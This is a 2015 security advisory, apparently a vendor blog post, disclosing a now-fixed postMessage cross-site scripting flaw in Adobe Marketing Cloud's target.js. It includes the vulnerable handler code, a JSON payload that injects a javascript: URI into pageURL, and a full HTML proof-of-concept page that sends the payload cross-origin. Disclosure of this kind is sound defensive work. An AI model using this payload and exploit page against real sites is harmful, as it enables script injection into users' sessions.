Adobe Fixes HTML5 PostMessage Security Flaw

Uncategorised
/ July 31, 2015

AppCheck has identified a significant security flaw affecting a common JavaScript component provided as part of the Adobe Marketing Cloud. The flaw affected many high profile applications including several banking sites and well known .com organisations, and has now been fixed by the vendor.

When imported, the affected JavaScript components adds a vulnerable postMessage handler to the page which fails to correctly validate the source origin of inbound messages before insecurely processing the message payload. A malicious attacker could exploit this flaw to perform a Cross-Site Scripting attack against the affected application.

This flaw was reported to Adobe via HackerOne and has now been resolved.

Discovery

AppCheck analyses postMessage handlers during the crawl phase of all Web Application scans. Using static analysis techniques, the JavaScript handler is examined to determine if the source origin of inbound messages is checked before further processing. Potentially vulnerable handlers are then flagged by AppCheck along with the handler’s JavaScript code and any messages that were observed during the scan. Existing messages are then passed to the scan engine to determine whether vulnerabilities such as Cross-Site Scripting are present.

Several AppCheck clients alerted us to the presence of a vulnerable handler imported from the following Adobe CDN URLs:

Upon examination of the affected handler was found to be vulnerable to Cross-Site Scripting.

Example AppCheck Output:

Our Proof-Of-Concept:

Technical Analysis

The following code snippet from target.js is responsible for binding the event listener for message events to the loadCDQLibs() function. postMessage events are then passed to this function for further processing:

if (typeof _AT.eventListenerAdded == "undefined") {
 addListener(window, "message", loadCDQLibs);
  _AT.eventListenerAdded = true
}

Within the loadCDQLibs() function the message payload string is converted to a JSON object before checking the resulting .action property against the text string “targetjsHandShakeAck”; if matched, the config attribute (an embedded object) is passed to the processHandShakeAcknowledgment() function:

var loadCDQLibs = function(evt) {
// truncated
message=(_AT.JSON||JSON).parse(evt.data)
// truncated
if (message.action === "targetjsHandShakeAck") {
processHandShakeAcknowledgment(message.config)
// truncated
}

It’s in the processHandShakeAcknowledgment function that the Cross-Site Scripting vulnerability occurs. First, the config object is checked to determine that the updatePageURL is set – if successful, the current window location is changed to the URL stored within the pageURL attribute. By supplying a JavaScript URI within the pageURL attribute we were able to execute JavaScript in the context of the target application.

var processHandShakeAcknowledgment = function(config) {
        if (config.updatePageURL) {
            window.location.href = config.pageURL

Proof of Concept

The following message payload can be submitted to the vulnerable application in order to execute the JavaScript code alert(‘xss’):

{"action":"targetjsHandShakeAck",
"config":{
"updatePageURL":1,
"pageURL":"javascript:alert('xss')"
}
}

The following JavaScript code can be used to demonstrate the flaw against a vulnerable application:

<html>
<script>
//Open the target application.
target = window.open("http://target/vulnerable")
function exploit(){
  payload = {"action":"targetjsHandShakeAck",
     "config":{
       "updatePageURL":1,
        "pageURL":"javascript:alert('xss')"
     }
   }
 //send payload to target application
  target.postMessage(JSON.stringify(payload),"*")
}
// wait 3 seconds to allow the page to load
setTimeout(exploit,3000)
</script>
</html>

We have compiled a working proof-of-concept for this vulnerability, which can be downloaded here: http://appcheck-ng.com/wp-content/uploads/2015/07/Adobe-exploit-example.zip

Get started with Appcheck

No software to download or install.

POPULAR